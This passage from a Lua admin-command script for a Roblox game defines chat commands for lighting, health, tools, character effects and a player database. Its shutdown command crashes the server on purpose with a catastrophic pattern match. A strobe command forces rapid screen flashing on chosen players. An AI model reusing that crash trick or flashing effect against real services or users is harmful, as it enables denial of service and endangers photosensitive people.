  6600. [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
  6601. local Players = STRING:Scan(Arguments[1], Speaker)
  6602. for _,Player in pairs(Players) do
  6603. MARKET:PromptPurchase(Player, Arguments[2], Speaker)
  6604. end
  6605. end};
  6606.  
  6607. [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
  6608. local AbuseMode = false
  6609. if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
  6610. local Players = STRING:Scan(Arguments[1], Speaker)
  6611. for _,Player in pairs(Players) do
  6612. CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
  6613. end
  6614. end};
  6615.  
  6616. [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
  6617. local Players = STRING:Scan(Arguments[1], Speaker)
  6618. for _,Player in pairs(Players) do
  6619. CORE:Insert(125013769, Player.Backpack, true)
  6620. end
  6621. end};
  6622.  
  6623. [{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
  6624. local Players = STRING:Scan(Arguments[1], Speaker)
  6625. for _,Player in pairs(Players) do
  6626. if Player.Character then
  6627. CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
  6628. end
  6629. end
  6630. end};
  6631.  
  6632. [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
  6633. CORE:ResetLighting()
  6634. repeat
  6635. Server.Lighting.Ambient = Color3.new(1,1,1)
  6636. Server.Lighting.FogColor = Color3.new(1,1,1)
  6637. Server.Lighting.Brightness = 1
  6638. Server.Lighting.TimeOfDay = 14
  6639. wait(0.1)
  6640. Server.Lighting.Ambient = Color3.new(0,0,0)
  6641. Server.Lighting.FogColor = Color3.new(0,0,0)
  6642. Server.Lighting.Brightness = 0
  6643. Server.Lighting.TimeOfDay = 0
  6644. wait(0.1)
  6645. until ModLighting == false
  6646. end};
  6647.  
  6648. [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
  6649. CORE:ResetLighting()
  6650. repeat
  6651. local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
  6652. Server.Lighting.Ambient = Color
  6653. Server.Lighting.FogColor = Color
  6654. Server.Lighting.TimeOfDay = 0
  6655. Server.Lighting.FogEnd = 500
  6656. wait(0.1)
  6657. until ModLighting == false
  6658. end};
  6659.  
  6660. [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
  6661. CORE:FixLighting()
  6662. end};
  6663.  
  6664. [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
  6665. local Players = STRING:Scan(Arguments[1], Speaker)
  6666. for _,Player in pairs(Players) do
  6667. if Player:FindFirstChild("PlayerGui") then
  6668. local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
  6669. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
  6670. local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
  6671. coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
  6672. end
  6673. end
  6674. end};
  6675.  
  6676. [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
  6677. local Players = STRING:Scan(Arguments[1], Speaker)
  6678. for _,Player in pairs(Players) do
  6679. if Player:FindFirstChild("PlayerGui") then
  6680. local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
  6681. end
  6682. end
  6683. end};
  6684.  
  6685. [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
  6686. local Players = STRING:Scan(Arguments[1], Speaker)
  6687. for _,Player in pairs(Players) do
  6688. if Player:FindFirstChild("PlayerGui") then
  6689. local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
  6690. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
  6691. local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
  6692. end
  6693. end
  6694. end};
  6695.  
  6696. [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  6697. local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
  6698. if Suc then
  6699. Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
  6700. else
  6701. Server.TS:Teleport(game.PlaceId, Speaker)
  6702. end
  6703. end};
  6704.  
  6705. [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6706. GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
  6707. end};
  6708.  
  6709. [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6710. local NewAbuse = Arguments[1]
  6711. if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
  6712. NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
  6713. end
  6714.  
  6715. local Match = false
  6716. for _,AbuseCmd in pairs(Settings.AbuseList) do
  6717. if string.lower(AbuseCmd) == string.lower(NewAbuse) then
  6718. Match = true
  6719. break
  6720. end
  6721. end
  6722. if not Match then
  6723. table.insert(Settings.AbuseList, NewAbuse)
  6724. GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
  6725. else
  6726. GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
  6727. end
  6728. CORE:SetAbuseCommands()
  6729. end};
  6730.  
  6731. [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6732. local NewAbuse = Arguments[1]
  6733. if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
  6734. NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
  6735. end
  6736.  
  6737. local Removed = false
  6738. for Num,AbuseCmd in pairs(Settings.AbuseList) do
  6739. if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
  6740. Removed = true
  6741. table.remove(Settings.AbuseList, Num)
  6742. end
  6743. end
  6744. if Removed then
  6745. GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
  6746. else
  6747. GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
  6748. end
  6749. CORE:SetAbuseCommands()
  6750. end};
  6751.  
  6752. [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
  6753. local Players = STRING:Scan(Arguments[1], Speaker)
  6754. for _,Player in pairs(Players) do
  6755. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6756. Player.Character.Humanoid.MaxHealth = math.huge
  6757. Player.Character.Humanoid.Health = math.huge
  6758. end
  6759. end
  6760. end};
  6761.  
  6762. [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
  6763. local Players = STRING:Scan(Arguments[1], Speaker)
  6764. for _,Player in pairs(Players) do
  6765. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6766. if Player.Character.Humanoid.MaxHealth == math.huge then
  6767. Player.Character.Humanoid.MaxHealth = 100
  6768. Player.Character.Humanoid.Health = 100
  6769. else
  6770. Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
  6771. end
  6772. end
  6773. end
  6774. end};
  6775.  
  6776. [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
  6777. local Players = STRING:Scan(Arguments[1], Speaker)
  6778. for _,Player in pairs(Players) do
  6779. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6780. local Char = Player.Character
  6781. repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
  6782. end
  6783. end
  6784. end};
  6785.  
  6786. [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
  6787. if tonumber(Arguments[2]) then
  6788. local Players = STRING:Scan(Arguments[1], Speaker)
  6789. for _,Player in pairs(Players) do
  6790. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6791. Player.Character.Humanoid.Health = Arguments[2]
  6792. end
  6793. end
  6794. end
  6795. end};
  6796.  
  6797. [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
  6798. if tonumber(Arguments[2]) then
  6799. local Players = STRING:Scan(Arguments[1], Speaker)
  6800. for _,Player in pairs(Players) do
  6801. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6802. local Speed = tonumber(Arguments[2])
  6803. if Speed then
  6804. if Rank == "Member" then
  6805. if Speed > 1000 then Speed = 1000
  6806. elseif Speed < -1000 then Speed = -1000 end
  6807. end
  6808. Player.Character.Humanoid.WalkSpeed = Speed
  6809. end
  6810. end
  6811. end
  6812. end
  6813. end};
  6814.  
  6815. [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
  6816. if tonumber(Arguments[2]) then
  6817. local Players = STRING:Scan(Arguments[1], Speaker)
  6818. for _,Player in pairs(Players) do
  6819. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6820. Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
  6821. end
  6822. end
  6823. end
  6824. end};
  6825.  
  6826. [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
  6827. local Players = STRING:Scan(Arguments[1], Speaker)
  6828. for _,Player in pairs(Players) do
  6829. CORE:Fly(Player, 10000)
  6830. end
  6831. end};
  6832.  
  6833. [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
  6834. local Players = STRING:Scan(Arguments[1], Speaker)
  6835. for _,Player in pairs(Players) do
  6836. CORE:Fly(Player, 1000000)
  6837. end
  6838. end};
  6839.  
  6840. [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
  6841. local Players = STRING:Scan(Arguments[1], Speaker)
  6842. for _,Player in pairs(Players) do
  6843. if Player.Character then
  6844. if Player.Character:FindFirstChild("StopMMLFly") then
  6845. Player.Character.StopMMLFly:InvokeClient(Player)
  6846. end
  6847. end
  6848. end
  6849. end};
  6850.  
  6851. [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6852. ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
  6853. GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
  6854. end};
  6855.  
  6856. [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
  6857. local Players = STRING:Scan(Arguments[1], Speaker)
  6858. for _,Player in pairs(Players) do
  6859. CORE:GiveTools(Player, Arguments[2])
  6860. end
  6861. end};
  6862.  
  6863. [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
  6864. local List = {}
  6865. for _,Region in pairs(ToolRegions) do
  6866. CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
  6867. table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
  6868. end)
  6869. end
  6870.  
  6871. GUI:ListGui(Speaker, "Tool list", List, 73589272)
  6872. end};
  6873.  
  6874. [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
  6875. local Players = STRING:Scan(Arguments[1], Speaker)
  6876. for _,Player in pairs(Players) do
  6877. CORE:GiveTools(Player, "btools")
  6878. end
  6879. end};
  6880.  
  6881. [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6882. REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
  6883. for _,Player in pairs(Server.Players:GetPlayers()) do
  6884. Player:Kick()
  6885. end
  6886. Server.Workspace:ClearAllChildren()
  6887. string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
  6888. end};
  6889.  
  6890. [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
  6891. local Players = STRING:Scan(Arguments[1], Speaker)
  6892. for _,Player in pairs(Players) do
  6893. CORE:Scale(Player, Arguments[2])
  6894. end
  6895. end};
  6896.  
  6897. [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
  6898. local Players = STRING:Scan(Arguments[1], Speaker)
  6899. for _,Player in pairs(Players) do
  6900. CORE:Scale(Player, 50)
  6901. end
  6902. end};
  6903.  
  6904. [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
  6905. local Players = STRING:Scan(Arguments[1], Speaker)
  6906. for _,Player in pairs(Players) do
  6907. CORE:Scale(Player, 70)
  6908. end
  6909. end, Hidden = true};
  6910.  
  6911. [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
  6912. local Players = STRING:Scan(Arguments[1], Speaker)
  6913. for _,Player in pairs(Players) do
  6914. CORE:Scale(Player, 500)
  6915. end
  6916. end};
  6917.  
  6918. [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
  6919. local Players = STRING:Scan(Arguments[1], Speaker)
  6920. for _,Player in pairs(Players) do
  6921. if Player.Character then
  6922. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  6923. Obj.Reflectance = 0.5
  6924. Obj.BrickColor = BrickColor.new("New Yeller")
  6925. end)
  6926. end
  6927. end
  6928. end};
  6929.  
  6930. [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
  6931. local Players = STRING:Scan(Arguments[1], Speaker)
  6932. for _,Player in pairs(Players) do
  6933. if Player.Character then
  6934. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  6935. Obj.Reflectance = 0.5
  6936. end)
  6937. end
  6938. end
  6939. end};
  6940.  
  6941. [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
  6942. local Players = STRING:Scan(Arguments[1], Speaker)
  6943. for _,Player in pairs(Players) do
  6944. if Player.Character then
  6945. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  6946. Obj.Transparency = 0.5
  6947. Obj.Reflectance = 0
  6948. Obj.BrickColor = BrickColor.new("Institutional white")
  6949. end)
  6950. CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
  6951. Obj.Transparency = 0.5
  6952. end)
  6953. end
  6954. end
  6955. end};
  6956.  
  6957. [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
  6958. local Players = STRING:Scan(Arguments[1], Speaker)
  6959. for _,Player in pairs(Players) do
  6960. if Player.Character then
  6961. for _,Obj in pairs(Player.Character:GetChildren()) do
  6962. local Valid = false
  6963. for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
  6964. if Valid == true then Obj:Destroy() end
  6965. end
  6966. end
  6967. end
  6968. end};
  6969.  
  6970. [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
  6971. local Players = STRING:Scan(Arguments[1], Speaker)
  6972. for _,Player in pairs(Players) do
  6973. if Player.Character then
  6974. for _,Obj in pairs(Player.Character:GetChildren()) do
  6975. local Valid = false
  6976. for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
  6977. if Valid == true then Obj:Destroy() end
  6978. end
  6979. end
  6980. end
  6981. end};
  6982.  
  6983. [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
  6984. local Players = STRING:Scan(Arguments[1], Speaker)
  6985. for _,Player in pairs(Players) do
  6986. if Player.Character then
  6987. for _,Obj in pairs(Player.Character:GetChildren()) do
  6988. local Valid = false
  6989. for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
  6990. if Valid == true then Obj:Destroy() end
  6991. end
  6992. end
  6993. end
  6994. end};
  6995.  
  6996. [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
  6997. local Players = STRING:Scan(Arguments[1], Speaker)
  6998. for _,Player in pairs(Players) do
  6999. if Player.Character then
  7000. for _,Obj in pairs(Player.Character:GetChildren()) do
  7001. if Obj:IsA("Accoutrement") then
  7002. Obj:Destroy()
  7003. end
  7004. end
  7005. end
  7006. end
  7007. end};
  7008.  
  7009. [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
  7010. local Players = STRING:Scan(Arguments[1], Speaker)
  7011. for _,Player in pairs(Players) do
  7012. Player:ClearCharacterAppearance()
  7013. end
  7014. end};
  7015.  
  7016. [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
  7017. local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
  7018. local TmpPlayers = {}
  7019. local Output = {}
  7020. for _,Data in pairs(Players) do
  7021. table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
  7022. end
  7023. GUI:ListGui(Speaker, "Player Database", Output, 120563622)
  7024. end};
  7025.  
  7026. [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
  7027. Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
  7028. GUI:SendHint(Speaker, "Player Database cleared", 5)
  7029. end};
  7030.  
  7031. [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
  7032. local Players = STRING:Scan(Arguments[1], Speaker)
  7033. for _,Player in pairs(Players) do
  7034. GUI:FakeHack(Player)
  7035. end
  7036. end};
  7037.  
  7038. [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
  7039. local Players = STRING:Scan(Arguments[1], Speaker)
  7040. for _,Player in pairs(Players) do
  7041. if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
  7042. for _,Object in pairs(Player.Backpack:GetChildren()) do
  7043. if Object:IsA("Tool") or Object:IsA("HopperBin") then
  7044. local Clone = Object:Clone()
  7045. Clone.Parent = Speaker.Backpack
  7046. end
  7047. end
  7048. end
  7049. end
  7050. end};
  7051.  
  7052. [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
  7053. local Players = STRING:Scan(Arguments[1], Speaker)
  7054. for _,Player in pairs(Players) do
  7055. if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
  7056. for _,Object in pairs(Player.Backpack:GetChildren()) do
  7057. if Object:IsA("Tool") or Object:IsA("HopperBin") then
  7058. Object.Parent = Speaker.Backpack
  7059. end
  7060. end
  7061. end
  7062. end
  7063. end};
  7064.  
  7065. [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7066. local Players = STRING:Scan(Arguments[1], Speaker)
  7067. for _,Player in pairs(Players) do
  7068. if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
  7069. for _,Object in pairs(Speaker.Backpack:GetChildren()) do
  7070. if Object:IsA("Tool") or Object:IsA("HopperBin") then
  7071. local Clone = Object:Clone()
  7072. Clone.Parent = Player.Backpack
  7073. end
  7074. end
  7075. end
  7076. end
  7077. end};
  7078.  
  7079. [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
  7080. local Players = STRING:Scan(Arguments[1], Speaker)
  7081. for _,Player in pairs(Players) do
  7082. if Player:FindFirstChild("Backpack") then
  7083. Player.Backpack:ClearAllChildren()
  7084. end
  7085. if Player.Character ~= nil then
  7086. for _,Obj in pairs(Player.Character:GetChildren()) do
  7087. if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
  7088. Obj:Destroy()
  7089. end
  7090. end
  7091. end
  7092. end
  7093. end};
  7094.  
  7095. [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
  7096. local Players = STRING:Scan(Arguments[1], Speaker)
  7097. for _,Player in pairs(Players) do
  7098. if Player.Character then
  7099. if Player.Character:FindFirstChild("Head") then
  7100. if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
  7101. coroutine.wrap(function()
  7102. if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
  7103. local OldFace = Player.Character.Head.face.Texture
  7104. Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
  7105. Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
  7106. Player.Character.Head.face.Texture = "rbxassetid://24067663"
  7107. local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
  7108. Sound:Play()
  7109. coroutine.wrap(function() for i = 1,100 do wait()
  7110. local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
  7111. coroutine.wrap(function() wait(3) Part:Destroy() end)()
  7112. end
  7113. Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
  7114. end end
  7115. end)()
  7116. end
  7117. end
  7118. end
  7119. end
  7120. end};
  7121.  
  7122. [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
  7123. local Players = STRING:Scan(Arguments[1], Speaker)
  7124. for _,Player in pairs(Players) do
  7125. if Player.Character then
  7126. if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
  7127. coroutine.wrap(function()
  7128. if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
  7129. local OldFace = Player.Character.Head.face.Texture
  7130. local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
  7131. local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
  7132. local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
  7133. Player.Character.Head.face.Texture = "rbxassetid://28118994"
  7134. local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
  7135. Sound:Play()
  7136. wait(1)
  7137. Smoke.Enabled = false
  7138. wait(1)
  7139. Fart:Destroy()
  7140. Fart:Destroy()
  7141. Player.Character.Head.face.Texture = OldFace
  7142. end end
  7143. end)()
  7144. end
  7145. end
  7146. end
  7147. end};
  7148.  
  7149. [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
  7150. local Players = STRING:Scan(Arguments[1], Speaker)
  7151. for _,Player in pairs(Players) do
  7152. if Player:FindFirstChild("Backpack") then
  7153. CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
  7154. end
  7155. end
  7156. end};
  7157.  
  7158. [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
  7159. local Players = STRING:Scan(Arguments[1], Speaker)
  7160. for _,Player in pairs(Players) do
  7161. if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
  7162. Player.Character.MMLGraffiti:ClearAllChildren()
  7163. end
  7164. end
  7165. end};
  7166.  
  7167. [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
  7168. local Players = STRING:Scan(Arguments[1], Speaker)
  7169. for _,Player in pairs(Players) do
  7170. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7171. local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
  7172. Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
  7173. end
  7174. end
  7175. end};
  7176.  
  7177. [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
  7178. local Players = STRING:Scan(Arguments[1], Speaker)
  7179. for _,Player in pairs(Players) do
  7180. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7181. local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
  7182. Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
  7183. end
  7184. end
  7185. end};
  7186.  
  7187. [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
  7188. local Players = STRING:Scan(Arguments[1], Speaker)
  7189. for _,Player in pairs(Players) do
  7190. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7191. local Lights = {}
  7192. for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
  7193. if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
  7194. table.insert(Lights, Obj)
  7195. end
  7196. end
  7197. for _,Light in pairs(Lights) do
  7198. coroutine.wrap(function()
  7199. for i = 1,20 do
  7200. Light.Brightness = Light.Brightness/5
  7201. wait()
  7202. end
  7203. Light:Destroy()
  7204. end)()
  7205. end
  7206. end
  7207. end
  7208. end};
  7209.  
  7210. [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
  7211. local Players = STRING:Scan(Arguments[1], Speaker)
  7212. for _,Player in pairs(Players) do
  7213. if Player.Character and Player:FindFirstChild("PlayerGui") then
  7214. local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
  7215. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
  7216. local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
  7217. local Stop = false
  7218. coroutine.wrap(function()
  7219. repeat
  7220. Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
  7221. wait(0.1)
  7222. until not SG or not SG.Parent
  7223. end)()
